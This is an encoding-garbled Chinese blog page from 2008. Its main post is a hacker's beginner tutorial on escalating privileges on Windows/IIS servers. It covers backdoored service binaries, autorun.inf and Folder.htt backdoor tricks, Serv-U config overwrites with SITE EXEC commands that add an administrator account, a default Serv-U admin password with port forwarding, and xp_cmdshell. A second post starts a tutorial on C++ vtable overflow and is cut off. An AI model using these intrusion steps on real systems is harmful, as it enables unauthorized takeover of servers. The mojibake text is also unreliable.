ºÜ¾Ã²»¸üÐÂÁË...

·¢²¼ÐÂÈÕÖ¾

  • GuestȨÏÞÌáÉý·½·¨×ܽá

    2008-03-03 11:26:46

    ÏÖÔÚµÄÈëÇÖÊÇÔ½À´Ô½ÄÑÁË£¬ÈËÃǵݲȫÒâʶ¶¼ÆÕ±éÌá¸ßÁ˲»ÉÙ£¬Á¬¸öÈËÓû§¶¼¶®µÃ·À»ðǽ£¬É±¶¾Èí¼þҪװ±¸ÔÚÊÖ£¬¶ÔÓÚ΢ÈíµÄ²¹¶¡Éý¼¶Ò²²»ÔÙÊDz»¼ÓÎʽò¡£Òò´ËÏÖÔÚÎÒÃÇÏëÔÚÒòÌØÍøÉÏɨÃèÈõ¿ÚÁîµÄÖ÷»úÒѾ­¼¸ºõÊdzÕÐÄÍýÏëÁË¡££¨Õâ¿ÉÊÇÒ»¼þ´ó´óµÄºÃʰ¡¡££©

    µ«ÊÇÕâҲʹµÃÎÒÃÇ×÷ºÚ¿ÍµÄ½øÐÐÈëÇÖ¼ì²â´ïµ½ÁËÒ»¸öǰËùδÓеÄÄѶȡ£Í¨¹ý¸÷ÖÖÊֶΣ¬ÎÒÃÇͨ³£²¢²»ÄÜÖ±½Ó»ñµÃÒ»¸öϵͳµÄ¹ÜÀíԱȨÏÞ¡£±ÈÈçÎÒÃÇͨ¹ýijЩ¶ÔIISµÄ¹¥»÷£¬Ö»ÄÜ»ñµÃIUSR-MACHINENAMEµÄȨÏÞ£¨ÈçÉÏ´«aspľÂí£¬ÒÔ¼°Ä³Ð©Òç³öµÈ£©¡£Õâ¸öÕʺÅͨ³£¿ÉÊÇϵͳĬÈϵÄguestȨÏÞ£¬ÓÚÊÇ£¬ÈçºÎÄõ½ÏµÍ³¹ÜÀíÔ±»òÕßÊÇsystemȨÏÞ£¬±ãÏÔµÃÈÕÒæÖØÒªÁË¡£

    ÓÚÊÇ£¬ÎÒ¾Í×ܽáÁËһϴó¼ÒËù¾­³£Ê¹Óõļ¸ÖÖÌáÉýȨÏ޵ķ½·¨£¬ÒÔÏÂÄÚÈÝÊÇÎÒÕûÀíµÄ£¬Ã»ÓÐʲôÐµķ½·¨£¬Ð´¸øºÍÎÒÒ»ÑùµÄ²ËÄñ¿´µÄ¡£¸ßÊÖÃǾͿÉÒÔÂÔÈ¥ÁË£¬µ±È»£¬ÄãÒª¸´Ï°ÎÒ²»·´¶Ô£¬Ë³±ã°ïÎÒ²é²éÓÐʲô²¹³äÓëÐ޸ģº

    1¡¢Éç»á¹¤³Ìѧ¡£

    ¶ÔÓÚÉç»á¹¤³Ìѧ£¬ÎÒÏë´ó¼ÒÒ»¶¨²»»áİÉú°É£¿£¨Èç¹ûÄ㻹²»Ì«Ã÷°×Õâ¸öÃû´ÊµÄ»°£¬½¨ÒéÄãÈ¥ÕÒһЩÏà¹Ø×ÊÁϲé²é¿´¡££©ÎÒÃÇͨ³£ÊÇͨ¹ý¸÷ÖÖ°ì·¨»ñµÃÄ¿±êµÄÃô¸ÐÐÅÏ¢£¬È»ºó¼ÓÒÔ·ÖÎö£¬´Ó¶ø¿ÉÒÔÍÆ¶Ï³ö¶Ô·½adminµÄÃÜÂë¡£¾ÙÒ»¸öÀý×Ó£º¼ÙÈçÎÒÃÇÊÇͨ¹ý¶Ô·þÎñÆ÷½øÐÐÊý¾Ý¿â²Â½â´Ó¶øµÃµ½adminÔÚÍøÕ¾ÉϵÄÃÜÂ룬Ȼºó½è´ËÉÏ´«ÁËÒ»¸öº£Ñó¶¥¶ËľÂí£¬Äã»áÔõô×ö£¿ÏÈ·­Ïäµ¹¹ñ²ì¿´aspÎļþµÄ´úÂëÒÔÏ£Íû²ì¿´µ½Á¬½ÓSQLµÄÕʺÅÃÜÂ룿´í´í´í£¬ÎÒÃÇÓ¦¸ÃÏȼüÈëÒ»¸önetstat ¨CanÃüÁî²ì¿´Ëû¿ªµÄ¶Ë¿Ú£¨µ±È»ÓÃnet startÃüÁî²ì¿´·þÎñÒ²ÐУ©¡£Ò»µ©·¢ÏÖËû¿ªÁË3389£¬ÓÌԥʲô£¿ÂíÉÏÄóöÄãµÄÖÕ¶ËÁ¬½ÓÆ÷£¬ÌíÉ϶Է½IP£¬¼üÈëÄãÔÚËûÍøÕ¾ÉÏËù»ñµÃµÄÓû§Ãû¼°ÃÜÂë¡­¡­¼¸ÃëÖ®ºó£¬ºÇºÇ£¬½øÈ¥Á˰ɣ¿ÕâÊÇÒòΪ¸ù¾ÝÉç»á¹¤³ÌѧµÄÔ­Àí£¬Í¨³£ÈËÃÇΪÁ˼ÇÒä·½±ã£¬½«×Ô¼ºÔÚ¶à´¦µÄÓû§ÃûÓëÃÜÂë¶¼ÊÇÓÃͬÑùµÄ¡£ÓÚÊÇ£¬ÎÒÃÇ»ñµÃÁËËûÔÚÍøÕ¾ÉϵĹÜÀíÔ±ÃÜÂ룬Ҳ¾ÍµÈͬÓÚ»ñµÃÁËËûËùÓеÄÃÜÂë¡£ÆäÖоͰüÀ¨ÏµÍ³adminÃÜÂë¡£ÓÚÊÇÎÒÃǾͿÉÒÔ½è´ËµÇÈëËûµÄ3389À­£¡

    ¼´Ê¹Ëû²¢Ã»ÓпªÆô3389·þÎñ£¬ÎÒÃÇÒ²¿ÉÒÔÆ¾½èÕâ¸öÃÜÂëµ½ËûµÄFTP·þÎñÆ÷ÉÏÊÔÊÔ£¬Èç¹ûËûµÄFTP·þÎñÆ÷ÊÇserv-u 5.004 ÒÔϰ汾£¬¶øÕʺÅÓÖ¾ßÓÐдȨÏÞ£¬ÄÇôÎÒÃǾͿÉÒÔ½øÐÐÒç³ö¹¥»÷ÁË£¡Õâ¿ÉÊÇ¿ÉÒÔÖ±½ÓÄõ½systemȨÏÞµÄŶ£¡£¨ÀûÓÃserv-u»¹ÓÐÁ½¸öÌáÉýȨÏ޵ķ½·¨£¬
    ÎÒ´ý»á¶ù»á˵µÄ£©

    ʵÔÚ²»ÐУ¬ÎÒÃÇÒ²¿ÉÒÔÄÃËüµÄÕʺÅÈ¥¸÷´óÍøÕ¾ÊÔÊÔ£¡»òÐí¾ÍÄܽøÈëËûËùÉêÇëµÄÓÊÏäÄõ½²»ÉÙÓÐÓõÄÐÅÏ¢£¡¿ÉÒÔÓÃÀ´ÅäºÏÎÒÃÇÒÔºóµÄÐж¯¡£

    »¹ÓÐÒ»ÖÖ˼·£¬ÎÒÃÇÖªµÀ£¬Ò»¸öÍøÕ¾µÄÍø¹Üͨ³£»á½«×Ô¼ºµÄÖ÷Ò³ÉèΪIE´ò¿ªºóµÄĬÈÏÖ÷Ò³£¬ÒÔ±ãÓÚ¹ÜÀí¡£ÎÒÃǾͿÉÒÔÀûÓÃÕâÒ»µã£¬½«Ëû×Ô¼ºµÄÖ÷Ò³Ö²ÉÏÍøÒ³Ä¾Âí¡­¡­È»ºóµÈËû´ò¿ªIE¡­¡­ºÇºÇ£¬ËûÔõôҲ²»»áÏëµ½×Ô¼ºµÄÖ÷Ò³»á¸ø×Ô¼ºÖÖÉÏľÂí°É£¿
    ÆäʵÀûÓÃÉç»á¹¤³ÌѧÓкܶàÖÖ·½·¨£¬Ïë×÷Ϊһ¸öºÏ¸ñºÚ¿Í£¬Õâ¿ÉÊDZØÑ§µÄŶ£¡¶à¶¯¶¯Äã×Ô¼ºµÄÄÔ×Ó£¬Äã²Å»á³É¹¦£¡

    2¡¢±¾µØÒç³ö¡£

    ΢ÈíʵÔÚÊÇÌ«¿É°®ÁË£¬Õâ¾ä»°Ò²²»ÖªÊÇÄÄλÈÊÐÖ˵µÄ£¬ÕæÊDz»¼Ù£¬Ê±²»Ê±µØ¾Í»á¸øÎÒÃÇËÍÀ´Ò»Ð©Òç³ö©¶´£¬ÏàÐÅͨ¹ý×î½üµÄMS-0011´ó¼ÒÒ»¶¨ÓÖ׬ÁËÒ»°ÑÈ⼦°É£¿ÆäʵÎÒÃÇÔÚÄõ½ÁËGuestȨÏÞµÄshellºóͬÑù¿ÉÒÔÓÃÒç³öÌáÉýȨÏÞ¡£×î³£ÓõľÍÊÇRunAs.exe¡¢ winwmiex.exe »òÊÇPipeUpAdminµÈµÈ¡£ÉÏ´«Ö´Ðкó¾Í¿ÉÒԵõ½AdminȨÏÞ¡£µ«Ò»¶¨ÊǶԷ½Ã»Óдò¹ý²¹¶¡µÄÇé¿öϲÅÐУ¬²»¹ý×î½ü΢ÈíµÄ©¶´Ò»¸ö½ÓÒ»¸ö£¬±¾µØÌáÉýȨÏÞµÄexploitÒ²»á³öÀ´µÄ£¬ËùÒÔ´ó¼ÒÒª¶à¶à¹ØÐÄ©¶´ÐÅÏ¢£¬»òÐíÏÂÒ»¸öexploit¾ÍÊÇÄãд³öÀ´µÄŶ£¡

    3¡¢ÀûÓÃscriptsĿ¼µÄ¿ÉÖ´ÐÐȨÏÞ¡£

    ÕâÒ²ÊÇÎÒÃÇÒÔǰµÃµ½webshellºó¾­³£Ê¹ÓõÄÒ»ÕУ¬Ô­ÀíÊÇScriptsĿ¼ÊÇIISϵĿÉÔËÐÐĿ¼£¬È¨ÏÞ¾ÍÊÇÎÒÃÇÃÎÃÂÒÔÇóµÄSYSTEMȨÏÞ¡£³£¼ûµÄʹÓ÷½·¨¾ÍÊÇÔÚU©¶´Ê±´úÎÒÃÇÏÈÉÏ´«idq.dllµ½IISÖ÷Ŀ¼ÏµÄScriptsĿ¼£¬È»ºóÓÃispc.exe½øÐÐÁ¬½Ó£¬¾Í¿ÉÒÔÄõ½systemȨÏÞ£¬²»¹ýÕâ¸öÊÇÔÚMicrosoft³öÁËSP3Ö®ºó¾ÍÐв»Í¨ÁË£¬ÆäʵÎÒÃÇÈÔ¿ÉÒÔÀûÓôËĿ¼£¬Ö»ÒªÎÒÃÇÉÏ´«±ðµÄľÂíµ½´ËĿ¼£¬ÎÒ¾Ù¸öÀý×ӾͱÈÈçÊÇwinshellºÃÁË¡£È»ºóÎÒÃÇÔÚIEÖÐÊäÈ룺

    http://targetIP/Scripts/ľÂíÎļþÃû.exe

    µÈÒ»»á£¬¿´µ½ÏÂÃæ½ø¶ÈÌõÏÔʾ¡°Íê³É¡±Ê±£¬¿ÉÒÔÁË£¬Á¬½ÓÄãÉ趨µÄ¶Ë¿Ú°É£¡ÎÒÕâÀïÊÇĬÈϵÄ5277£¬Á¬½ÓºÃºó¾ÍÊÇSYSTEMȨÏÞÁË£¡ÕâʱÄãÒª¸ÉʲôÎҾ͹ܲ»×ÅÁË¡­¡­ºÙºÙ

    4¡¢Ì滻ϵͳ·þÎñ¡£

    Õâ¿ÉÊǹã´óºÚÓÑÀִ˲»Æ£µÄÒ»ÕС£ÒòΪwindowsÔÊÐí¶ÔÕýÔÚÔËÐÐÖеijÌÐò½øÐи͝£¬ËùÒÔÎÒÃǾͿÉÒÔÌæ»»ËûµÄ·þÎñÒÔʹµÃϵͳÔÚÖØÆôºó×Ô¶¯ÔËÐÐÎÒÃǵĺóÃÅ»òÊÇľÂí£¡Ê×ÏÈ£¬Í¨¹ýÄã»ñµÃµÄguestȨÏÞµÄshellÊäÈ룺net startÃüÁ²ì¿´ËûËùÔËÐеķþÎñ¡£´ËʱÈç¹ûÄã¶ÔwindowsµÄϵͳ·þÎñÊìϤµÄ»°£¬¿ÉÒԺܿ쿴³öÄÄЩ·þÎñÎÒÃÇ¿ÉÒÔÀûÓá£

    C:\WINNT\System32\>net start
    ÒѾ­Æô¶¯ÒÔÏ Windows ·þÎñ:

    COM+ Event System
    Cryptographic Services
    DHCP Client
    Distributed Link Tracking Client
    DNS Client
    Event Log
    Help and Support
    IPSEC Services
    Logical Disk Manager
    Logical Disk Manager Administrative Servic
    Network Connections
    Network Location Awareness (NLA)
    Protected Storage
    Remote Procedure Call (RPC)
    Rising Process Communication Center
    Rising Realtime Monitor Service
    Secondary Logon
    Security Accounts Manager
    Shell Hardware Detection
    System Event Notification
    System Restore Service
    Telephony
    Themes
    Upload Manager
    WebClient
    Windows Audio
    Windows Image Acquisition (WIA)
    Windows Management Instrumentation
    Windows Time
    Wireless Zero Configuration
    Workstation

    ÃüÁî³É¹¦Íê³É¡£

    ÎÒÏÈÔÚÎҵĻúÆ÷ÉÏÔËÐÐÒ»ÏÂÃüÁî×ö¸öʾ·¶£¨´ó¼Ò±ðºÚÎÒѽ£©£¬×¢ÒâÎÒÓúìÉ«±ê×¢µÄ²¿·Ö£¬ÄÇÊÇÎÒ°²×°µÄÈðÐÇ¡£Rising Process Communication Center·þÎñËùµ÷ÓõÄÊÇCCenter.exe£¬¶øRising Realtime Monitor Service·þÎñµ÷ÓõÄÊÇRavMonD.exe¡£ÕâЩ¶¼ÊǵÚÈý·½·þÎñ£¬¿ÉÒÔÀûÓᣣ¨Ç¿ÁÒÍÆ¼öÌæ»»µÚÈý·½·þÎñ£¬¶ø²»ÒªÂÒ¶¯ÏµÍ³·þÎñ£¬·ñÔò»áÔì³Éϵͳ²»Îȶ¨£©ÓÚÊÇÎÒÃÇËÑË÷ÕâÁ½¸öÎļþ£¬·¢ÏÖËûÃÇÔÚD:\ rising\rav\Îļþ¼ÐÖУ¬´ËʱעÒâÒ»µã£ºÈç¹û´ËÎļþÊÇÔÚϵͳÅ̵ÄProgram FilesĿ¼ÖÐʱ£¬ÎÒÃÇÒªÖªµÀ£¬Èç¹û¶Ô·½ÊÇʹÓõÄNTFS¸ñʽµÄÓ²ÅÌ£¬ÄÇôϵͳÅÌϵÄÕâ¸öÎļþ¼ÐguestȨÏÞÊÇĬÈϲ»¿ÉдµÄ£¬»¹ÓÐWindowsĿ¼¡¢Documents and SettingsĿ¼ÕâЩ¶¼ÊDz»¿ÉдµÄ£¬ËùÒÔÎÒÃǾͲ»ÄÜÌæ»»Îļþ£¬Ö»ÄÜÁîı;¾¶ÁË¡££¨ÕâÒ²ÊÇΪʲôÎÒ²»½¨ÒéÌæ»»ÏµÍ³·þÎñµÄÔ­ÒòÖ®Ò»£¬ÒòΪϵͳ·þÎñÎļþ¶¼ÔÚWindows\System32Ŀ¼ÖУ¬²»¿Éд£©µ«Èç¹ûÊÇFAT32¸ñʽ¾Í²»Óõ£ÐÄ£¬ÓÉÓÚËüµÄÏÈÌì²»×㣬ËùÓÐÎļþ¼Ð¶¼ÊÇ¿ÉдµÄ¡£

    ÓÚÊǾÍÓÐÈË»áÎÊ£ºÈç¹ûÊÇNTFS¸ñʽÄѵÀÎÒÃǾÍûÕÞÁËÂð£¿

    µ±È»²»ÊÇ£¬NTFS¸ñʽĬÈÏÇé¿öϳýÁ˶ÔÄÇÈý¸öÎļþ¼ÐÓÐÏÞÖÆÍ⣬ÆäÓàµÄÎļþ¼Ð¡¢·ÖÇø¶¼ÊÇeveryoneÍêÈ«¿ØÖÆ¡££¨Ò²¾ÍÊÇ˵ÎÒ¼´Ê¹ÊÇIPC$µÄÄäÃûÁ¬½Ó£¬¶¼»á¶ÔÕâЩµØ·½ÓпÉд¿ÉÔËÐÐȨÏÞ£¡£©ËùÒÔÒ»µ©¶Ô·½µÄµÚÈý·½·þÎñ²»Êǰ²×°ÔÚÄÇÈý¸öÎļþ¼ÐÖУ¬ÎÒÃǾͿÉÒÔÌæ»»ÁË£¡ÎÒ¾ÍÄÃCCenterÏÂÊÖ£¬ÏȽ«ËüÏÂÔØµ½±¾µØ»úÆ÷ÉÏ£¨FTP¡¢·Åµ½IISÖ÷Ŀ¼ÖÐÔÙÏÂÔØµÈµÈ¡­¡­£©È»ºóÄóöÄãµÄÎļþÀ¦°ó»ú£¬ÕÒµ½Ò»¸öÄã×îÄÃÊֵĺóÃÅ¡­¡­ºÇºÇ£¬À¦°óºÃºó£¬ÉÏ´«£¬ÏȽ«¶Ô·½µÄCCenter.exeÎļþ¸Ä¸öÃûCCENTBAK.exe£¬È»ºóÌæ»»³É×Ô¼ºµÄCCenter¡£ÏÖÔÚÖ»ÐèÒªµÈ¶Ô·½µÄ»úÆ÷ÖØÆô£¬ÎÒÃǵĺóÞͿÉÒÔÔËÐÐÁË£¡ÓÉÓÚWindowsϵͳµÄ²»Îȶ¨£¬Ö÷»úÔÚÒ»¸öÀñ°Ýºó¾Í»áÖØÆô£¬£¨µ±È»Èç¹ûÄãµÈ²»¼°µÄ»°£¬¿ÉÒÔ¶Ô´Ë·þÎñÆ÷½øÐÐDDOS¹¥»÷ÆÈʹËûÖØÆô£¬µ«ÎÒ²¢²»ÔÞͬ£¡£©´ËʱµÇÉÏÄãµÄºóÃÅ£¬¾ÍÊÇSystemȨÏÞÁË£¡

    5¡¢Ìæ»»admin³£ÓóÌÐò¡£

    Èç¹û¶Ô·½Ã»ÓÐÄãËùÄÜÀûÓõķþÎñ£¬Ò²¿ÉÒÔÌæ»»¶Ô·½¹ÜÀíÔ±³£ÓõijÌÐò£¬ÀýÈçQQ£¬MSNµÈµÈ£¬¾ßÌåÌæ»»·½·¨ÓëÌæ»»·þÎñÒ»Ñù£¬Ö»ÊÇÄãµÄºóÃÅʲôʱºò¿ÉÒÔÆô¶¯¾ÍµÃ¿´ÄãµÄÔËÆøÁË¡£

    6¡¢ÀûÓÃautorun .inf»òdesktop.ini¡£

    ÎÒÃdz£»áÅöµ½ÕâÖÖÊ£º¹âÅ̷Žø¹âÇý£¬¾Í»á×Ô¶¯Ìø³öÀ´Ò»¶ÎFLASH£¬ÕâÊÇΪʲô£¿ºÇºÇ£¬Äãµ½¹âÅ̵ĸùĿ¼Öп´¿´£¬ÊÇ·ñÓÐÒ»¸öautorun.infµÄÎļþ£¿ÓüÇʱ¾´ò¿ªÀ´¿´¿´£¬ÊDz»ÊÇÓÐÕâôһ¾ä»°£ºautorun=xxx.exe Õâ¾ÍÊÇÄã¸Õ²ÅËù¿´µ½µÄ×Ô¶¯ÔËÐеijÌÐòÁË¡£

    ÓÚÊÇÎÒÃǾͿÉÒÔÀûÓÃÕâ¸öÀ´ÌáÉýÎÒÃǵÄȨÏÞ¡£ÏÈÅäÖúÃÒ»¸öºóÃÅ£¬£¨ÎÒ³£ÓõÄÊÇwinshell£¬µ±È»Äã²»ÓÃÕâ¸öÒ²ÐУ©ÉÏ´«µ½ËûDÅÌϵÄÈÎÒâÒ»¸öÎļþ¼ÐÖУ¬È»ºó´ÓÄãÄǸö×ÔÔËÐеĹâÅÌÖаÑautorun.infÎļþÒ²ÉÏ´«£¬²»¹ýÉÏ´«Ç°ÏȽ«autorun=xxx.exe ºóÃæµÄxxx.exe¸ÄΪÄãÅäÖõĺóÃÅÎļþ;¾¶¡¢ÎļþÃû£¬È»ºóÔÙÉÏ´«µ½dÅ̸ùĿ¼Ï£¬¼ÓÉÏÖ»¶Á¡¢ÏµÍ³¡¢Òþ²ØÊôÐÔ¡£OK¾ÍµÈ¶Ô·½adminä¯ÀÀDÅÌ£¬ÎÒÃǵĺóÞͿÉÒÔÆô¶¯ÁË£¡£¨µ±È»£¬Õâ±ØÐëÊÇÔÚËûûÓнûÖ¹×Ô¶¯ÔËÐеÄÇé¿öϲÅÐС££©

    ÁíÍâÓÐÏàͬ×÷ÓõÄÊÇdesktop.ini¡£´ó¼Ò¶¼ÖªµÀwindowsÖ§³Ö×Ô¶¨ÒåÎļþ£¬ÆäʵËü¾ÍÊÇͨ¹ýÔÚÎļþ¼ÐÖÐдÈëÌØ¶¨Îļþ¡ª¡ªdesktop.iniÓëFolder.httÀ´ÊµÏֵģ¬ÎÒÃǾͿÉÒÔÀûÓÃÐÞ¸ÄÕâÎļþÀ´´ïµ½ÎÒÃǵÄÄ¿µÄ¡£

    Ê×ÏÈ£¬ÎÒÃÇÏÖÔÚ±¾µØ½¨Á¢Ò»¸öÎļþ¼Ð£¬Ãû×Ö²»ÖØÒª£¬½øÈëËü£¬ÔÚ¿Õ°×´¦µãÓÒ¼ü£¬Ñ¡Ôñ¡°×Ô¶¨ÒåÎļþ¼Ð¡±£¨xpºÃÏñÊDz»Ðеģ©Ò»Ö±Ïµ㣬ĬÈϼ´¿É¡£Íê³Éºó£¬Äã¾Í»á¿´µ½ÔÚ´ËĿ¼Ï¶àÁËÁ½¸öÃûΪFolder settingµÄÎļþ¼ÜÓëdesktop.iniµÄÎļþ£¬£¨Èç¹ûÄã¿´²»µ½£¬ÏÈÈ¡Ïû¡°Òþ²ØÊܱ£»¤µÄ²Ù×÷ϵͳÎļþ¡±£©È»ºóÎÒÃÇÔÚFolder settingĿ¼ÏÂÕÒµ½Folder.httÎļþ£¬¼Çʱ¾´ò¿ª£¬ÔÚÈÎÒâµØ·½¼ÓÈëÒÔÏ´úÂ룺

    <OBJECT ID=¡±RUNIT¡± WIDTH=0 HEIGHT=0 TYPE=¡±application/x-oleobject¡± CODEBASE=¡±ÄãµÄºóÃÅÎļþÃû¡±>
    </OBJECT>

    È»ºóÄ㽫ÄãµÄºóÃÅÎļþ·ÅÔÚFolder settingĿ¼Ï£¬°Ñ´ËĿ¼Óëdesktop.iniÒ»ÆðÉÏ´«µ½¶Ô·½ÈÎÒâÒ»¸öĿ¼Ï£¬¾Í¿ÉÒÔÁË£¬Ö»ÒªµÈ¹ÜÀíÔ±ä¯ÀÀÁË´ËĿ¼£¬Ëü¾ÍÖ´ÐÐÁËÎÒÃǵĺóÃÅ£¡£¨Èç¹ûÄã²»·ÅÐÄ£¬¿ÉÒÔ¶àÉèÖü¸¸öĿ¼£©

    7¡¢Serv-UÌáÉýȨÏÞ

    ÀûÓÃServ-UÌáÉýȨÏÞ¹²ÓÐÈýÖÖ·½·¨£¬Òç³öÊǵÚÒ»ÖÖ£¬ÎÒ֮ǰÒѾ­Ëµ¹ý£¬ÕâÀï¾Í²»½éÉÜÁË¡£ÎÒÒª½²µÄÊÇÆäÓàÁ½ÖÖ°ì·¨¡£

    °ì·¨Ò»£ºÒªÇ󣺶ÔServ-u°²×°Ä¿Â¼ÓÐÍêÈ«¿ØÖÆÈ¨¡£

    ·½·¨£º½øÈë¶Ô·½µÄServ-UĿ¼£¬²ì¿´ËûµÄServUDaemon.ini£¬ÕâÊÇServ-UµÄÅäÖÃÎļþ£¬Èç¹û¹ÜÀíԱûÓÐÑ¡Ôñ½«serv- uµÄËùÓÐÅäÖÃдÈë×¢²á±íµÄ»°£¬ÎÒÃǾͿÉÒÔ´ÓÕâ¸öÎļþÖп´µ½Serv-UµÄËùÓÐÐÅÏ¢£¬°æ±¾¡¢IP¡¢ÉõÖÁÓû§ÃûÓëÃÜÂ룡ÔçЩ°æ±¾µÄÃÜÂëÊDz»¼ÓÃܵ쬵«ÊǺóÀ´ÊǾ­¹ýÁËMD5¼ÓÃÜ¡£ËùÒÔ²»ÄÜÖ±½ÓµÃµ½ÆäÃÜÂë¡£²»¹ýÎÒÃÇÈÔÈ»Óа취£ºÏÈÔÚ±¾µØ°²×°Ò»¸öServ-U£¨°æ±¾×îºÃе㣩£¬½«Äã×Ô¼ºµÄServUDaemon.iniÎļþÓôÓËûÄÇÏÂÔØÏÂÀ´µÄServUDaemon.ini ¸²¸Çµô£¬ÖØÆðÒ»ÏÂServ-U£¬ÓÚÊÇÄãÉÏÃæµÄËùÓÐÅäÖö¼ÓëËûµÄһģһÑùÁË¡£ÎÒÃÇн¨Ò»¸öÓû§£¬Ê²Ã´×é²»ÖØÒª£¬ÖØÒªµÄÊǽ«ËûµÄÖ÷Ŀ¼¸ÄΪ¶Ô·½µÄϵͳÅÌ£¬È»ºó¼ÓÉÏÖ´ÐÐȨÏÞ£¡Õâ¸ö×îÖØÒª¡£¸ü¸ÄÍêºóÓ¦Óã¬Í˳ö¡£ÔÙ½«Äã¸ü¸Ä¹ýµÄServUDaemon.ini ÎļþÉÏ´«£¬¸²¸ÇµôËûµÄÎļþ£¬È»ºó¾ÍµÈËûµÄServ-UÖØÆô¸üÐÂÅäÖã¬Ö®ºóÎÒÃǾͿÉÒÔµÇÈëËûµÄFTP¡£½øÈëºóÖ´ÐÐÒÔÏÂÃüÁ

    Cd windows
    Cd System32
    Quote site exec net.exe user wofeiwo /add
    Quote site exec net.exe localgroup administrators wofeiwo /add
    Bye

    È»ºóÄã¾ÍÓÐÁËÒ»¸ö½ÐwofeiwoµÄϵͳ¹ÜÀíÔ±ÁË£¬»¹µÈʲô?µÇ½3389£¬´ó¹¦¸æ³É£¡

    °ì·¨¶þ£ºServ-u¿ªÁËÁ½¸ö¶Ë¿Ú£¬Ò»¸öÊÇ21£¬Ò²¾ÍÊǣƣԣÐÁË£¬¶øÁíÒ»¸öÊÇ43958£¬Õâ¸ö¶Ë¿ÚÊǸÉʲôµÄ£¿ºÙºÙ£¬Õâ¸öÊÇ£Ó£å£ò£ö£­£ÕµÄ±¾µØ¹ÜÀí¶Ë¿Ú¡£µ«ÊÇĬÈÏÊDz»×¼³ýÁË£±£²£·£®£°£®£°£®£±ÍâµÄ£é£ðÁ¬½ÓµÄ£¬´Ëʱ¾ÍÒªÓõ½FPIPE.exeÎļþ£¬ÕâÊÇÒ»¸ö¶Ë¿Úת·¢³ÌÐò£¬ÉÏ´«Ëû£¬Ö´ÐÐÃüÁ

    Fpipe ¨Cv ¨Cl 3333 ¨Cr 43958 127.0.0.1

    Òâ˼Êǽ«4444¶Ë¿ÚÓ³Éäµ½43958¶Ë¿ÚÉÏ¡£

    È»ºó¾Í¿ÉÒÔÔÚ±¾µØ°²×°Ò»¸öServ-u£¬Ð½¨Ò»¸ö·þÎñÆ÷£¬IPÌî¶Ô·½IP£¬ÕʺÅΪLocalAdministrator ÃÜÂëΪ#1@$ak#.1k;0@p Á¬½ÓÉϺóÄã¾Í¿ÉÒÔ¹ÜÀíËûµÄServ-uÁË£¬Ö®ºóÌáÉýȨÏ޵ķ½·¨²Î¿¼°ì·¨Ò»¡£ÎҾͲ»×¸ÊöÁË¡£

    8¡¢SQLÕÊ»§ÃÜÂëй¶¡£

    Èç¹û¶Ô·½¿ªÁËMSSQL·þÎñÆ÷£¬ÎÒÃǾͿÉÒÔͨ¹ýÓÃSQLÁ¬½ÓÆ÷¼Ó¹ÜÀíÔ±Õʺţ¬ÒòΪMSSQLÊÇĬÈϵÄSYSTEMȨÏÞ¡£
    ÒªÇó£ºÄãµÃµ½Á˶Է½MSSQL¹ÜÀíÔ±ÃÜÂ루¿ÉÒÔ´ÓËûµÄÁ¬½ÓÊý¾Ý¿âµÄASPÎļþÖп´µ½£©,¶Ô·½Ã»ÓÐɾ³ýxp_cmdshell
    ·½·¨£ºÊ¹ÓÃSqlexec.exe£¬ÔÚhost Ò»À¸ÖÐÌîÈë¶Ô·½IP£¬UserÓëPassÖÐÌîÈëÄãËùµÃµ½µÄÓû§ÃûÓëÃÜÂë¡£formatÑ¡Ôñxp_cmdshell¡±%s¡±¼´¿É¡£È»ºóµã»÷connect£¬Á¬½ÓÉϺó¾Í¿ÉÒÔÔÚCMDÒ»À¸ÖÐÊäÈëÄãÏëÒªµÄCMDÃüÁîÁË¡£

  • C++ÖÐͨ¹ýÒç³ö¸²¸ÇÐ麯ÊýÖ¸ÕëÁбíÖ´ÐдúÂë

    2008-03-03 11:25:53

    Ŀ¼:

    1. C++ÖÐÐ麯ÊýµÄ¾²Ì¬Áª±àºÍ¶¯Ì¬Áª±à
    2. VCÖжÔÏóµÄ¿Õ¼ä×éÖ¯ºÍÒç³öÊÔÑé
    3. GCCÖжÔÏóµÄ¿Õ¼ä×éÖ¯ºÍÒç³öÊÔÑé
    4. ²Î¿¼


    <Ò»> C++ÖÐÐ麯ÊýµÄ¾²Ì¬Áª±àºÍ¶¯Ì¬Áª±à

        C++ÖеÄÒ»´ó·¨±¦¾ÍÊÇÐ麯Êý£¬¼òµ¥À´Ëµ¾ÍÊǼÓvirtual¹Ø¼ü×Ö¶¨ÒåµÄº¯Êý¡£
    ÆäÌØÐÔ¾ÍÊÇÖ§³Ö¶¯Ì¬Áª±à¡£ÏÖÔÚC++¿ª·¢µÄ´óÐÍÈí¼þÖм¸ºõÒѾ­Àë²»¿ªÐ麯ÊýµÄ
    ʹÓã¬Ò»¸öµäÐ͵ÄÀý×Ó¾ÍÊÇÐ麯ÊýÊÇMFCµÄ»ùʯ֮һ¡£

      ÕâÀïÓÐÁ½¸ö¸ÅÄîÐèÒªÏȽâÊÍ:

    ¾²Ì¬Áª±à:ͨË×µãÀ´½²¾ÍÊdzÌÐò±àÒëʱȷ¶¨µ÷ÓÃÄ¿±êµÄµØÖ·¡£
    ¶¯Ì¬Áª±à:³ÌÐòÔËÐн׶ÎÈ·¶¨µ÷ÓÃÄ¿±êµÄµØÖ·¡£
     
      ÔÚC++ÖÐͨ³£µÄº¯Êýµ÷Óö¼ÊǾ²Ì¬Áª±à£¬µ«Èç¹û¶¨Ò庯Êýʱ¼ÓÁËvirtual¹Ø¼ü
    ×Ö£¬²¢ÇÒÔÚµ÷Óú¯ÊýʱÊÇͨ¹ýÖ¸Õë»òÒýÓõ÷Óã¬ÄÇô´Ëʱ¾ÍÊDzÉÓö¯Ì¬Áª±à¡£

        Ò»¸ö¼òµ¥Àý×Ó:
    // test.cpp
    #include<iostream.h>
    class ClassA
    {
    public:
    int num1;
    ClassA(){ num1=0xffff; };
    virtual void test1(void){};
    virtual void test2(void){};
    };
    ClassA objA,* pobjA;

    int main(void)
    {
    pobjA=&objA;
    objA.test1();
    objA.test2();
    pobjA->test1();
    pobjA->test2();
    return 0;
    }

     


    ʹÓÃVC±àÒ룺
    ¿ªÒ»¸öÃüÁîÐÐÖ±½ÓÔÚÃüÁîÐе÷ÓÃclÀ´±àÒë: (Èç¹ûÄã°²×°vcʱûÓÐÑ¡Ôñ×¢²á»·¾³
    ±äÁ¿£¬ÄÇôÏÈÔÚÃüÁîÐÐÔËÐÐVCĿ¼ÏÂbin\VCVARS32.BAT )

    cl test.cpp /Fa
    ²úÉútest.asmÖмä»ã±à´úÂë

